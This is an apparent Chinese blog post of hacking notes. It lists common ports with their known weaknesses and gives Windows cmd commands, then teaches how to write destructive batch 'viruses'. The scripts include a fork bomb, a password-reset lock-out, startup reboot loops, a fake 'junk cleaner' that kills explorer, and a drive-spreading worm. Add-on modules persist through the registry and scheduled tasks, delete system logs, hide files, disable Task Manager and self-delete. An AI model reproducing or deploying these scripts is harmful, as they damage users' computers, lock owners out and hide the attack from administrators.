常见端口及其服务
21 ftp
23 talnet
80 web 80-89都可能
443 ssl 有过心脏滴血漏洞
445 msb
1433 mssql
1521 oracle
2082/3 主机管理系统登录(国外用的多)
2222 da虚拟主机管理系统登录(国外较多)
3128 squid代理默认端口-漫游内网
3306 mysql
3311/2 kangle主机管理系统登录
3389 远程桌面
5432 postgraSQL
5900 vnc 有空密码漏洞
6379 redis(未授权)
7001/2 weblogic 默认弱口令,反序列化
7778 kloxo 主机控制面板登录
8000-9000 一些常见web端口
8080 tomcat wdcp主机管理系统,默认弱口令
8083 vesttacp 主机管理系统(国外较多)
8080 8089 9090 jboss
8649 ganglia
8888 宝塔主机管理默认端口
10000 virtuamin/webmin服务器虚拟主机管理系统
11211 memcache 未授权访问
27017/8 mongodb未授权 访问
28017 mongodb统计系统页面
常见cmd命令
1.echo
echo /? 查看帮助文档
echo 1 输出1
echo 1 > 1.txt 输出1,并重定向到1.txt文件 (会覆盖原文件)
echo 111 >> 1.txt 把内容追加到1.txt
echo %Path% 输出环境变量
2.dir 展示当前目录文件
3.cd
c: 或d: 直接切换到c或d盘
cd . 进入当前目录
cd .. 进入上一级目录 (cd ../也可以)
cd /文件夹
4.tree 树状图输出当前目录文件
5.md(mkdir的缩写,用哪个都可以)
md xxx 创建文件夹
rd xxx 删除文件夹
tab 补全功能 例如 rd k (tab)
6.cls清屏
7.copy
copy 1.txt ../2.txt 把1.txt复制到上一级的2.txt中
copy 1.txt+2.txt > 3.txt 1 2拼接写入到3.txt中
8.move
move ..\1.txt 4.txt 把上一级目录的1.txt移动到当前目录并命名为4.txt
9.ren(rename)
rename a.txt b.txt 把a.txt重命名为b.txt
10.del 永久删除删除
del 1.txt 2.txt 3.txt 删除这三个文件
11.ping
用于探测主机ip是否存活
ping /?查看帮助文档
12.type 显示文本文件内容
type 1.txt 查看1.txt中内容
13.reg(注册表)
reg /?查看帮助文档
14.nslookup 探测域名信息
nslookup www.baidu.com
nslookup -d www.baidu.com 查看历史解析记录
15.find 查找
find "a" 1.txt 查看1.txt中带a的字段
type与find结合
type 1.txt | find "a" 查看1.txt内容并输出带有a的字段
type 1.txt | find "a" /N 并排序行号
16.tasklist 任务列表,显示出当前进程名称等信息
17.taskkill 杀死进程
tasklist /? 查看帮助文档
常使用/pid /f 指定强制终止进程 /t终止指定的进程和由它启用的子进程。
首先开启一个calc进程,然后tasklist查看进程的pid,使用taskkill /pid 3760
18.ver winver 查看系统版本
19.start 启动命令
start cmd
start calc
start ping www.baidu.com(再看一个终端)
20.systeminfo 查看整个系统的信息
查看一些重要信息,比如补丁信息等。如果发现少打了哪个补丁,就可以利用少打的补丁进行提权
21.logoff 注销
如果远程登录3389桌面的话,可以用这个命令把对方的远程登陆注销掉
22.shutdown 关机
/s 在一分钟内关机
/a 计划取消
/r 重启
/g 在一分钟内重启
/r /t 0 -t设置时间 设置为0立即执行
23.telnet 协议工具
24.arp
arp -a 查看内网中有哪些主机
25.at 定时任务
例如 at 时间 "shutdown /r /t 0"
at 1 /delete 取消
26.net 服务
net start/stop telnet 开启/关闭telnet服务
net user 查看当前用户
net user administrator 查看管理员用户权限
net user admin 123 /add 添加admin用户,密码为123 需在管理员权限下进行
net localgroup administrator admin /add 提权
net user admin 查看admin用户权限
net user admin /delete 删除admin用户
27.attrib 操作文件和目录
+s参数可将文件标记为系统文件
+h参数可将文件隐藏
编写bat病毒
1.资源耗尽病毒 会无限弹出cmd弹窗
echo start cmd > 1.txt
echo %0 >> 1.txt %0的作用是在文件内部引用它自己
rename 1.txt 1.bat
即1.bat内容
start cmd
%0
2.锁机病毒
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shudown /s /t 0 >> c:\windows\Temp\1.bat
即1.bat内容
net user administrator 123456
shudown /s /t 0
解析:将administrator用户密码改为123456。然后再将电脑重启,由于密码已经被修改,之前那个用户就登不上去了,电脑就会一直重启
3.无限重启病毒
echo shutdown /r /t 0 > c:\windows\Temp\1.bat
copy c:\windows\temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
%USERPROFILE%
需要替换成对应用户的目录,例如:C:\Users\lvy
即1.bat内容
shutdown /s /t 0
解析:首先编写一个立即重启的bat,然后复制到系统的启动文件夹中。由于启动项里有这个脚本,电脑每次重启之后,这个bat脚本也会随之运行,进入无限循环
windows系统目录接管与渗透的关系
"%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"(开机自启目录)
任何放置在该文件夹的程序或脚本都会在用户登录后自动运行
4.杀死资源管理器
echo taskkill -im explorer.exe -f > 1.bat #-im是-imagename缩写,指定要终止任务的进程名称 -f是强制关闭
即1.bat内容
taskkill -im explorer.exe -f
可以把这个文件也写到启动项里面
echo taskkill -im explorer.exe -f > 1.bat
copy 1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
伪装
@echo off #关闭命令回显
title 系统垃圾清理
color 1f
echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
echo.
echo.
echo.
echo =====垃圾清理中,请不要关闭窗口=========
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo =====拐了,你的系统已经废了=======
echo.
ping -n 5 127.0.0.1>nul
echo.
Start c:\windows\explorer.exe
echo.
echo =====已经修复好!是不是吓坏了!!O(∩_∩)O==========
pause
5.蓝屏 (winxp及更古老的版本才能使用)
echo taskkill /F /IM winlogon.exe > 1.bat表示强制杀死进程
copy 1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
蠕虫病毒
例1
@echo off
setlocal enabledelayedexpansion
set WORM_FILE=worm.bat
if not "%~nx0"=="%WORM_FILE%" (
echo This is not the worm file.
goto end
)
echo Starting the worm simulation...
:: 循环复制自身到其他目录
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
if not exist %%d:\%WORM_FILE% (
copy "%~f0" "%%d:\%WORM_FILE%"
echo Copied worm to %%d:\
)
)
)
:end
echo Worm simulation ended.
endlocal
分析
1、@echo off
的作用是关闭回显功能。(确切一点应该是关闭回显命令本身)
在bat文件中,每次执行命令都会将命令本身和结果进行回显,加上这句之后的命令本身就不会再进行回显,只具有输出功能
例如:
@echo off
echo 666
echo end
pause
与
echo 666
echo end
pause
2、setlocal enabledelayedexpansion
作用是拓展本地环境变量延迟(把单词拆开理解就是设置 本地 能够 延迟的拓展)
当使用了该命令之后,代码块中的变量需要使用!
而不是%
来引用
变量识别:cmd执行指令前会对脚本进行预编译,其中一个过程就是变量识别(即识别被两个%%括起来的变量),查找这个值并替换掉这个变量
为什么要进行变量延迟?
例如:
@echo off
for /l %%i in (1,1,5) do ( #bat文件中循环变量前要使用%%,在命令行中使用%
set var=%%i
echo %var%
)
pause
都无法输出
@echo off
set var=test & echo %var%
echo %var%
pause
只输出了第二条语句
原因是我们所set的变量不是立刻更新的,是以单位语句进行更新,当我们没执行这条语句之前,我们设置的变量还没生效。
因此只需要将%%
替换为!!
,再添加setlocal ENABLEDELAYEDEXPANSION
,即可正常输出
@echo off
setlocal ENABLEDELAYEDEXPANSION
set var=test & echo !var!
echo %var%
pause
3、set WORM_FILE=worm.bat
设置一个名为worm.bat的变量
4、
if not "%~nx0"=="%WORM_FILE%" (
echo This is not the worm file.
goto end
)
这段代码的作用是检查当前执行的文件名是否与worm.bat匹配,如果不匹配,即输出该句话,并且跳转到end标签
结束执行。%~nx0
(批处理指令)作用是提取出文件的名称和拓展名
5、echo Starting the worm simulation...
显示信息
6、自我复制
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
if not exist %%d:\%WORM_FILE% (
copy "%~f0" "%%d:\%WORM_FILE%"
echo Copied worm to %%d:\
)
)
)
这段代码的作用是遍历从c-z盘,%%d
是循环中的盘符变量。如果存在该盘符,并且该盘符中没有该蠕虫文件,将当前蠕虫文件复制到目标盘符下,并且命名为worm.bat。最后输出一句复制到所在的路径。
7、
:end
echo Worm simulation ended.
endlocal
:end
用来标志代码结束,endlocal
的作用是结束setlocal
命令的作用域,恢复环境变量的原始值。
例2
@echo off
setlocal enabledelayedexpansion
:: 设置源目录和目标目录
set SOURCE_DIR=C:\Users\%USERNAME%\Documents
set BACKUP_DIR=C:\Users\%USERNAME%\Backup
:: 检查目标备份目录是否存在,如果不存在则创建
if not exist "%BACKUP_DIR%" (
mkdir "%BACKUP_DIR%"
echo Created backup directory: %BACKUP_DIR%
)
:: 检查源目录是否存在
if not exist "%SOURCE_DIR%" (
echo Source directory does not exist: %SOURCE_DIR%
goto end
)
:: 进入源目录
cd /d "%SOURCE_DIR%"
:: 遍历源目录中的所有文件
for %%f in (*) do (
set "FILE_PATH=%%f"
if not exist "%BACKUP_DIR%\%%~nxf" (
echo Backing up file: !FILE_PATH!
copy "!FILE_PATH!" "%BACKUP_DIR%\%%~nxf"
) else (
echo File already backed up: %%f
)
)
:end
echo Backup process completed.
endlocal
1、
set SOURCE_DIR=C:\Users\%USERNAME%\Documents
设置源目录
set BACKUP_DIR=C:\Users\%USERNAME%\Backup
设置目标目录(存放备份文件)
if not exist "%BACKUP_DIR%" (
mkdir "%BACKUP_DIR%"
echo Created backup directory: %BACKUP_DIR%
)
2、检查目标目录备份文件是否存在,如果不存在就创建,并且回显路径。
if not exist "%SOURCE_DIR%" (
echo Source directory does not exist: %SOURCE_DIR%
goto end
)
3、检查源目录是否存在,如果不存在就跳转到:end
4、cd /d "%SOURCE_DIR%"
进入到源目录
5、循环遍历源目录中的所有文件(不包括子目录)
for %%f in (*) do (
set "FILE_PATH=%%f"
if not exist "%BACKUP_DIR%\%%~nxf" (
echo Backing up file: !FILE_PATH!
copy "!FILE_PATH!" "%BACKUP_DIR%\%%~nxf"
) else (
echo File already backed up: %%f
)
)
%%f
指当前文件名称,set "FILE_PATH=%%f"
将文件路径保存到FILE_PATH
中
if not exist "%BACKUP_DIR%\%%~nxf"
检查目标备份目录中是否存在同名文件。%%~nxf
作用是提取文件名和拓展名。如果不存在该文件就将这个文件复制到目标备份目录。
其他可以添加的模块示例:(加入到前面的例子中即可)
1、添加到启动项
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v worm /t REG_SZ /d YourWormPath
reg
用于操作注册表,add
作用是添加一个新的注册表项,HKCU\Software\Microsoft\Windows\CurrentVersion\Run
是存储windows用户登录时启动程序的地方,该目录下的条目会在用户登录时执行。
/v
参数指定要添加或修改的注册表名称,worm
是即将创建的蠕虫病毒的名称。
/t
参数指定数据类型 ,REG_SZ
是字符串类型
/d
参数指定写入注册表值的内容,YourWormPath
即为你要添加的蠕虫病毒
2、 模拟在开机自启目录放置恶意程序
echo Creating a simulated startup entry...
if not exist "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat" (
echo @echo off > "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
echo echo Simulated malware running >> "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
echo pause >> "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
echo Simulated malware created in startup directory.
)
3、模拟在临时目录放置恶意脚本
echo Creating a simulated temporary script...
if not exist "C:\Windows\Temp\simulated_temp_malware.bat" (
echo @echo off > "C:\Windows\Temp\simulated_temp_malware.bat"
echo echo Simulated temporary malware running >> "C:\Windows\Temp\simulated_temp_malware.bat"
echo pause >> "C:\Windows\Temp\simulated_temp_malware.bat"
echo Simulated temporary malware created in Temp directory.
)
4、恶意删除日志文件
del C:\Windows\System32\LogFiles\*.*
删除系统日志文件,避免被管理员查到
5、桌面黑屏
taskkill /IM explorer.exe /F
关掉文件管理器的进程
6、隐藏执行痕迹
attrib +h C:\xxx\worm.bat
attrib
用于修改文件和目录属性,+h
参数作用是隐藏属性。执行该命令之后在文件资源管理器中不会显示(除非开了显示隐藏文件)
7、将恶意程序放到系统文件夹并设置为系统文件
copy C:\xxx\worm.bat C:\Windows\System32\worm.bat
attrib +s +h C:\Windows\System32\worm.bat
将蠕虫病毒复制到系统文件夹System32
中,并使用+s
参数将该文件标记为系统文件(因为系统文件通常会被windows保护)
8、修改系统环境变量
setx PATH "%PATH%;C:\xxx\worm.bat"
将该蠕虫文件添加到系统PATH
变量中,使程序在任何地方都可以执行
9、修改注册表来禁用任务管理器
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
"Policies\System"
子项下有许多与系统控制相关的设置,包括一些与安全和用户权限管理相关的设置。
/v
参数添加注册表值的名称,/t
参数指定数据类型,REG_DWORD
表示32位数字
/d
参数指定键值的具体数据,1
是要为 "DisableTaskMgr"
赋的值,1
的意思是启动禁用任务管理器
/f
参数表强制执行,如果该值存在会进行覆盖已有值
10、创建定时任务,周期性执行恶意操作
schtasks /create /tn "MalwareTask" /tr "C:\path\to\worm.bat" /sc daily /st 00:00
schtasks
命令用于创建、配置、管理计划任务。/create
参数创建一个新的任务计划,/tn
参数指定计划任务名称
/tr
参数指定要运行的脚本或程序。/sc
参数设置任务触发的频率,daily
指每天执行一次,/st
设置每天任务首次执行的时间
11、自我删除操作
del "%~f0"
完成某些恶意操作之后,自我删除,避免被用户发现。%~f0
是当前脚本的完整路径
12、显示虚假警告
echo You have a critical system error! > C:\Windows\Temp\error_message.txt
notepad C:\Windows\Temp\error_message.txt
命令会创建一个txt文件,使用notepad打开它,显示“系统错误”的警告信息,分散用户注意力
标签:bat,DIR%,Windows,worm,echo,%%,蠕虫,txt From: https://blog.csdn.net/2301_79469341/article/details/143830923